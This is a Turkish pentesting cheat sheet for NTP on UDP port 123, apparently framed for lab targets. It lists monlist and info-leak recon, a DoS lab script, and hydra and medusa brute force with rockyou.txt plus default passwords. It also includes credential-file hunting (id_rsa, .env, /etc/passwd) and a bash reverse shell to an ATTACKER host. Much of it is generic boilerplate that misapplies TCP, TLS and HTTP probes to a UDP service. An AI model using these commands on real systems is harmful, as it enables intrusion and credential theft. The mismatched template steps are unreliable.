Skip to content

123/udp - Pentesting NTP

NTP udp

NTP bilgi komutları ve eski monlist amplifikasyon/info sızdırır; zaman kayması auth protokollerini bozar. Hedef lab IP’si üzerinde komutları 123 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. UDP/123.

  2. ntp-info/monlist.

  3. Sürüm.

  4. Time skew senaryosu.

Terminal window
nmap -Pn -sU -p123 --script ntp-info,ntp-monlist TARGET
Terminal window
ntpq -c rv TARGET
Terminal window
ntpdc -n -c monlist TARGET
monlist peer list → internal IPs
Terminal window
python3 ntp_dos_lab.py TARGET # lab

/udp - NTP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p123 TARGET
Terminal window
nmap -Pn -p123 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:123' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',123));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /udp - NTP
Terminal window
hydra -L users.txt -P rockyou.txt -s 123 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 123
Terminal window
nmap -p123 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit NTP
Terminal window
msfconsole -q -x 'search NTP; exit'
Terminal window
nuclei -u https://TARGET:123 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:123 -tags tech -silent || true
Terminal window
nc -nv TARGET 123
Terminal window
printf '
' | timeout 3 nc -nv TARGET 123
Terminal window
curl -vk --http1.0 http://TARGET:123/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
ntp-info → monlist peers → internal map